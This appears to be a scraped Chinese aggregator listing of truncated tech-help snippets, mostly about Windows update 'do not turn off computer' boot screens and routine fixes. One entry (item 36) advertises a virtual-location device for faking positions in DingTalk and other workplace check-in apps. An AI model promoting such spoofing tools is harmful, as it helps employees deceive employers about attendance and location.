    C/C++等级考试(1~8级)全部真题・点这里 第1题:双精度浮点数的输入输出 输入一个双精度浮点数,保留8位小数,输出这个浮点数。 时间限制:1000 内存限制:65536输入 只有一行,一个双精度浮点数。输出 一行,保留8位小数的浮点数。样例输入 3.1415926535798932样例输出 3.1…...

    2024/5/3 1:54:59
  25. 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...

    解析如下&#xff1a;1、长按电脑电源键直至关机&#xff0c;然后再按一次电源健重启电脑&#xff0c;按F8健进入安全模式2、安全模式下进入Windows系统桌面后&#xff0c;按住“winR”打开运行窗口&#xff0c;输入“services.msc”打开服务设置3、在服务界面&#xff0c;选中…...

    2022/11/19 21:17:18
  26. 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。

    %读入6幅图像&#xff08;每一幅图像的大小是564*564&#xff09; f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...

    2022/11/19 21:17:16
  27. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...

    win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面&#xff0c;在等待界面中我们需要等待操作结束才能关机&#xff0c;虽然这比较麻烦&#xff0c;但是对系统进行配置和升级…...

    2022/11/19 21:17:15
  28. 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...

    有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows&#xff0c;请勿关闭计算机”的提示&#xff0c;要过很久才能进入系统&#xff0c;有的用户甚至几个小时也无法进入&#xff0c;下面就教大家这个问题的解决方法。第一种方法&#xff1a;我们首先在左下角的“开始…...

    2022/11/19 21:17:14
  29. win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...

    置信有很多用户都跟小编一样遇到过这样的问题&#xff0c;电脑时发现开机屏幕显现“正在配置Windows Update&#xff0c;请勿关机”(如下图所示)&#xff0c;而且还需求等大约5分钟才干进入系统。这是怎样回事呢&#xff1f;一切都是正常操作的&#xff0c;为什么开时机呈现“正…...

    2022/11/19 21:17:13
  30. 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...

    Win7系统开机启动时总是出现“配置Windows请勿关机”的提示&#xff0c;没过几秒后电脑自动重启&#xff0c;每次开机都这样无法进入系统&#xff0c;此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一&#xff1a;开机按下F8&#xff0c;在出现的Windows高级启动选…...

    2022/11/19 21:17:12
  31. 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...

    有不少windows10系统用户反映说碰到这样一个情况&#xff0c;就是电脑提示正在准备windows请勿关闭计算机&#xff0c;碰到这样的问题该怎么解决呢&#xff0c;现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法&#xff1a;1、2、依次…...

    2022/11/19 21:17:11
  32. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...

    今天和大家分享一下win7系统重装了Win7旗舰版系统后&#xff0c;每次关机的时候桌面上都会显示一个“配置Windows Update的界面&#xff0c;提示请勿关闭计算机”&#xff0c;每次停留好几分钟才能正常关机&#xff0c;导致什么情况引起的呢&#xff1f;出现配置Windows Update…...

    2022/11/19 21:17:10
  33. 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...

    只能是等着&#xff0c;别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚&#xff0c;只能是考虑备份数据后重装系统了。解决来方案一&#xff1a;管理员运行cmd&#xff1a;net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...

    2022/11/19 21:17:09
  34. 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?

    原标题&#xff1a;电脑提示“配置Windows Update请勿关闭计算机”怎么办&#xff1f;win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢&#xff1f;一般的方…...

    2022/11/19 21:17:08
  35. 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...

    关机提示 windows7 正在配置windows 请勿关闭计算机 &#xff0c;然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;关机提示 windows7 正在配…...

    2022/11/19 21:17:05
  36. 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...

    钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...

    2022/11/19 21:17:05
  37. 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...

    前几天班里有位学生电脑(windows 7系统)出问题了&#xff0c;具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面&#xff0c;长时间没反应&#xff0c;无法进入系统。这个问题原来帮其他同学也解决过&#xff0c;网上搜了不少资料&#x…...

    2022/11/19 21:17:04
  38. 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...

    本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法&#xff0c;并在最后教给你1种保护系统安全的好方法&#xff0c;一起来看看&#xff01;电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中&#xff0c;添加了1个新功能在“磁…...

    2022/11/19 21:17:03
  39. 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...

    许多用户在长期不使用电脑的时候&#xff0c;开启电脑发现电脑显示&#xff1a;配置windows更新失败&#xff0c;正在还原更改&#xff0c;请勿关闭计算机。。.这要怎么办呢&#xff1f;下面小编就带着大家一起看看吧&#xff01;如果能够正常进入系统&#xff0c;建议您暂时移…...

    2022/11/19 21:17:02
  40. 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...

    配置windows update失败 还原更改 请勿关闭计算机&#xff0c;电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;配置windows update失败 还原更改 请勿关闭计算机&#x…...

    2022/11/19 21:17:01
  41. 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...

    不知道大家有没有遇到过这样的一个问题&#xff0c;就是我们的win7系统在关机的时候&#xff0c;总是喜欢显示“准备配置windows&#xff0c;请勿关机”这样的一个页面&#xff0c;没有什么大碍&#xff0c;但是如果一直等着的话就要两个小时甚至更久都关不了机&#xff0c;非常…...

    2022/11/19 21:17:00
  42. 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...

    当电脑出现正在准备配置windows请勿关闭计算机时&#xff0c;一般是您正对windows进行升级&#xff0c;但是这个要是长时间没有反应&#xff0c;我们不能再傻等下去了。可能是电脑出了别的问题了&#xff0c;来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...

    2022/11/19 21:16:59
  43. 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...

    我们使用电脑的过程中有时会遇到这种情况&#xff0c;当我们打开电脑之后&#xff0c;发现一直停留在一个界面&#xff1a;“配置Windows Update失败&#xff0c;还原更改请勿关闭计算机”&#xff0c;等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢&#xff0…...

    2022/11/19 21:16:58
  44. 如何在iPhone上关闭“请勿打扰”

    Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...

    2022/11/19 21:16:57